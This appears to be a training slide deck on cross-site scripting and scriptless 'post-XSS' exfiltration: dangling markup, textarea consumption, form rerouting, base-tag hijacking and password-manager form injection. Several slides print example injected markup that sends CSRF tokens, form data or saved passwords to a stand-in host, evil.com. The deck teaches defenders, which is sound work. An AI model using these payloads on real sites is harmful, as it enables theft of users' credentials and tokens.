Cross-site scripting (XSS) attacks occur when malicious scripts are injected into otherwise benign websites. An attacker can use XSS to send a malicious script to an unsuspecting user, giving the script access to cookies and other sensitive information. XSS attacks are successful because most programmers do not apply encoding to user input, allowing injected scripts to be rendered and executed by the user's browser.

1. *
www.Instaqube.com

2. *
* Type of injection attack, in which malicious scripts are injected into
otherwise benign and trusted web sites.
* Occur when an attacker uses a web application to send malicious code
generally in the form of a client side script, to a different end user.
* Flaws that allow these attacks to succeed are prevalent in most web
application that utilize user input and generate output without adequate
validation or encoding of user input.
* An attacker can use XSS to send a malicious script to an unsuspecting
user. The end user’s browser has no way to determining that the script
should not be trusted, and will execute the script.
* Thus giving the malicious script access to cookies, and other sensitive
information retained by the browser for use by the site. These scripts
can also rewrite the HTML content.
www.Instaqube.com

3. *
* XSS should be tested in anything that accepts user input and
displays it in the webpage, after rendering it. XSS attacks are
successful because most programmers do not apply HTML
encoding to the user input, trusting the user input as
received.
* E.g.: If a user enters “<script>alert (document.
Cookie)</script>” in a text filed which upon submission may
be rendered as a script tag thus producing a popup alert
message with the cookies.
* There are plenty of other XSS vectors and information about
XSS which you can find out at OWASP.
www.Instaqube.com

4. *
* What ?
* Very Similar to the XSS.
* Why POST XSS?
* Browser-level efforts to improve the security of web applications focuses
on the containment of attacker-originating scripts.
* Content Security Policy,
removes the ability to inline JavaScript code in a
protected HTML document.
* Whitelisting of permissible sources for any externally-loaded scripts.
* Related approaches, such as the No Script add-on, the built-in XSS filters
in Internet Explorer and Chrome, client-side APIs such as
toStaticHTML(...), or the HTML sanitizers built into server-side
frameworks, also deserve a note.
www.Instaqube.com

5. *
* Goals of a successful XSS attack is the extraction of user-specific
secrets from the vulnerable application.
* Historically, XSS exploits sought to obtain HTTP (session) cookies.
* The introduction of httponly cookies greatly limited this possibility.
* In an application where theft of HTTP cookies is not practical,
exfiltration attempts are usually geared towards the extraction of any
of the following:
* Personal Data
* Tokens used to defend against cross-site request forgery attacks.
* Capability-bearing URLs
www.Instaqube.com

6. *
*Dangling markup injection
*<textarea>-based consumption
*Rerouting of existing forms
*Use of <base> to hijack relative URLs
*Form injection to intercept browser-managed passwords
*The limits of exfiltration defenses
www.Instaqube.com

7. *
* Injection of non-terminated markup which will consume a significant
portion of the subsequent HTML syntax, until the expected terminating
sequence is encountered.
• Opposite quote.
• Scenario : If we are allowed to inject anything in the HTML content
above the sensitive data which we need to steal.
* Example :
* <img src='http://evil.com/log.cgi? ← Injected line with a non-terminated
parameter ...
<input type="hidden" name="xsrf_token" value="12345"> ... ' ← Normally-
occurring apostrophe in page text ... </div>
www.Instaqube.com

8. *
*Limitation : Injection point to appear
before the sensitive data to be extracted
*If governed by pure chance, this condition
will be met in 50% of all cases.
*Demo : Dangling Markup Injection
www.Instaqube.com

9. *
* Previous method had some limitation like matching quote character.
* Injection of a text area.
* Scenario: If there is combination of single and quote present before the
sensitive data which we want to steal.
* Can be injected before or after the legitimate form tag.
* Example :
* <form action='http://evil.com/log.cgi'><textarea> ← Injected line
... <input type="hidden" name="xsrf_token" value=‘12345’> ... (EOF)
www.Instaqube.com

10. *
* Limitation : In contrast to the previous method, a
degree of user interaction is needed to exfiltrate the
data.
* Victim has to submit the form by some means.
* Forms with auto-submit capabilities are being
considered for HTML5. Such a feature may
unintentionally assist with the automation of this
attack in future browsers.
* Demo : <textarea>-based consumption
www.Instaqube.com

11. *
* This works because <form> tag cannot be nested.
* Scenario : If we can inject any thing on top of a existing form tag.
* This allows the attacker to change the action URL to which any existing
form will be submitted.
* Example :
* <form action='http://evil.com/log.cgi'> ← Injected line ...
<form action='update_profile.php'> ← Legitimate, pre-existing form
...
<input type="text" name="real_name" value="John Q. Public">
...
</form>
www.Instaqube.com

12. *
*Interesting when used to target forms
automatically populated with user-specific
secrets. 
*Demo : Rerouting of existing forms
www.Instaqube.com

13. *
* Injection of <base> tags.
* Able to change the semantics of all subsequently appearing relative
URLs.
* Scenario: If we are allowed to insert on the top of the form element.
* Example :
* <base href='http://evil.com/'> ← Injected line
...
<form action='update_profile.php'> ← Legitimate, pre-existing form
<form action=''http://evil.com/update_profile.php'>
...
<input type="text" name="real_name" value="John Q. Public"> ...
</form>
www.Instaqube.com

14. *
* Browsers have features to remember username and password
for websites.
* Browsers auto fill the fields after matching the domain, id
and name parameters of the fields.
* We can inject a form into a domain using previous exfiltration
techniques, to steal the user credentials.
* Example :
* <form action="http://www.evil.com" method="POST">
<input type="text" id="username" name="username">
<input type="password" id="password" name="password">
</form>
www.Instaqube.com

15. *
* We can specify GET instead of POST and submit
the credentials to a selected same-site
destination.
* That destination may links to third-party sites
(thus leaking the credentials in the Referer
header).
* Or echo the parameter in the page.
www.Instaqube.com

16. *
* All our previous vector redirects to the attacker domain.
* If the developer wishes to restrict the set of permissible destinations for markup
such as <form>, <a href=...>, or <img> to his own domain.
* However, any attempts to prevent exfiltration, even in script-less environments,
are unlikely to be successful.
* Exfiltration attempts do not have to be geared toward relaying the data to a
third-party website.
* Moving data from private place to public place all within the scope of a single
website is also sufficient.
www.Instaqube.com

17. *
* Example :
* <form action='/post_review.php'>
<input type='hidden' name='review_body' value=" ← Injected lines
... Your current shipping address: ← Existing page text to be
exfiltrated
123 Evergreen Terrace Springfield, USA
... <form action="/update_address.php"> ← Existing form (ignored by
the parser) ... <input type="hidden" name="xsrf_token"
value="12345"> ← Token valid for
/update_address.php and
/post_review.php
... </form>
• Demo : Addendum: The limits of exfiltration defenses
www.Instaqube.com

18. *
* http://lcamtuf.coredump.cx/postxss/
www.Instaqube.com

19. Thank You
Q&A
www.Instaqube.com